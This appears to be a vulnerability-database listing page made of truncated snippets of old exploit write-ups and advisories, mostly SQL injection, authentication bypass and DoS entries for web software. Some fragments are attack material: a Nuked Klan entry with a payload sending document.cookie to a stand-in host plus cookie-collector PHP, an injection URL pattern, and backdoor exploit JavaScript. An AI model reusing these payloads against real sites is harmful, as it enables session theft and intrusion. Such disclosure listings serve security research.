Everfocus <= 1.4 EDSR Remote Authentication Bypass

Exploit for unknown platform in category web applications ================================================== Everfocus = 1.4 EDSR Remote Authentication Bypass ================================================== Product: Everfocus EDSR series Version affected: 1.4 and older Website:...

Everfocus 1.4 - EDSR Remote Authentication Bypass

Product: Everfocus EDSR series Version affected: 1.4 and older Website: http://www.everfocus.com/ Discovered By: Andrea Fabrizi Email: andrea.fabrizi gmail com Web: http://www.andreafabrizi.it Vuln: remote DVR applet authentication bypass The EDSR firmware don't handle correctly users...

Asterisk SIP Channel Driver DoS Vulnerability (AST-2009-005)

Asterisk is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:digium:asterisk";...

Joomla School Component 1.4 SQL Injection

---------------------------------------------------------------------- Joomla Component comschool classid SQL injection Vulnerability ---------------------------------------------------------------------- + Author : Chip D3 Bi0s + Email : chipdebiosalt+64gmail.com + Group : LatinHackTeam +...

mrbs-sql.txt

"MRBS is a system for multi-site booking of meeting rooms. Rooms are grouped by building/area and shown in a side-by-side view. Although the goal was initially to book rooms, MRBS can also be used to book any resource computer, planes, whatever you want". Web CMS:...

HACKATTACK Advisory 20081016]WEB//NEWS SQL Injection and Cookie Manipulation

HACKATTACK Advisory 20081016WEB//NEWS SQL Injection and Cookie Manipulation Details ======= Product: WEB//NEWS Security-Risk: high Remote-Exploit: yes Vendor-URL: http://www.stylemotion.de/ Vendor-Status: informed Advisory-Status: published Credits ============ Discovered by: David Vieira-Kurz...

PT-2008-5403 · Gnu +1 · Gnu Adns +1

Name of the Vulnerable Software and Affected Versions: GNU adns versions 1.4 and earlier Description: The issue allows remote attackers to spoof DNS responses due to the use of a fixed source port and sequential transaction IDs for DNS requests. This behavior is reported by the vendor as intended...

erocms-sql.txt

Viva IslaM Viva IslaM Remote SQL Injection Vulnerability eroCMS V1.0 - V1.1 - V1.2 - V1.3 - V1.4 index.php site AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] !! SYRIAN HaCkErS !! Script : eroCMS Vesrion : 1.0 - 1.1 - 1.2 - 1.3 - 1.4 site : www.erocms.de D0rk : "by eroCMS" -:: S...

eroCMS 1.4 - site SQL Injection

eroCMS 1.4 - site SQL Injection Viva IslaM Viva IslaM Remote SQL Injection Vulnerability eroCMS V1.0 - V1.1 - V1.2 - V1.3 - V1.4 index.php site AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] !! SYRIAN HaCkErS !! Script : eroCMS Vesrion : 1.0 - 1.1 - 1.2 - 1.3 - 1.4 site :...

Family Connections CMS 1.4 Multiple Remote SQL Injection Vulnerabilities

Exploit for unknown platform in category web applications ======================================================================== Family Connections CMS 1.4 Multiple Remote SQL Injection Vulnerabilities ========================================================================...

Sasser Worm ftpd Remote Buffer Overflow Exploit (port 5554)

No description provided by source. / / // / / / / \ / / / / / / / // // / // / // //// - ROMANIAN SECURITY RESEARCH 2004 - sasser va-e exploit of its ftpd server exploit version 1.4, public author: mandragore date: Mon May 10 16:13:31 2004 vuln type: SEH ptr overwriting greets: rosecurity team...

phshoutbox-cookie.txt

--==+================================================================================+==-- --==+ PhShoutBox = 1.5 final Insecure Cookie Handling Arbitrary Authentication +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz...

Underground CMS 1.x - 'Search.Cache.Inc.php' Backdoor Access

Ucms v. 1.8 Np exploit function sethostseite document.host.action = seite + 'index.php?&q=test&e=1'; document.all.data.innerHTML = document.host.action; Ucms v. 1.8 Np exploit Actual Request: Host: Password: Phpcode: phpinfo; ? !-- It�s just a crime to do such thigs, so please use this exploit ju...

Asterisk SIP通道驱动应答零代码远程拒绝服务漏洞

Asterisk是一个开放源代码的软件VoIP PBX系统。 Asterisk处理包含code 0的应答消息存在问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 从远程系统接收到部分SIP应答如SIP Response code 0，可导致Asterisk崩溃，造成拒绝服务攻击。 Asterisk Asterisk 1.4.1 Asterisk Asterisk 1.2.16 Asterisk Asterisk 1.2.15 Asterisk Asterisk 1.2.14 Asterisk Asterisk 1.2.13 Asterisk Asterisk 1.2.11...

HC Newssystem 1.0-1.4 - index.php?ID SQL Injection

HC Newssystem 1.0-1.4 - index.php?ID SQL Injection HC NEWSSYSTEM 1.0-4 index.php "ID" Blind SQL Injection Type : SQL Injection Release Date : 2007-03-08 Product / Vendor : HC Design News Publisher. http://www.hcdesign.at/demo Bug : http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL...

Nuked Klan任意.SWF文件COOKIE窃取漏洞

Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...

GNU Radius: Format string vulnerability

Background GNU Radius is a GNU version of Radius, a server for remote user authentication and accounting. Description A format string vulnerability was found in the sqllog function from the SQL accounting code for radiusd. That function is only used if one or more of the "postgresql", "mysql" or...

PT-2006-6339 · Ig · Ig Shop

Name of the Vulnerable Software and Affected Versions: iG Shop version 1.4 Description: The issue is related to a cross-site scripting XSS vulnerability. It allows remote attackers to inject arbitrary web script or HTML via arbitrary query strings in the change pass.php file when the action...

PT-2006-6340 · Ig · Ig Shop

Name of the Vulnerable Software and Affected Versions: iG Shop version 1.4 Description: A cross-site scripting XSS issue exists, allowing remote attackers to inject arbitrary web script or HTML via the id parameter in the change pass.php file. Recommendations: For iG Shop version 1.4, avoid using...

Web//News 1.4 - 'parser.php' Remote File Inclusion (2)

source: https://www.securityfocus.com/bid/20239/info Web//News is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute i...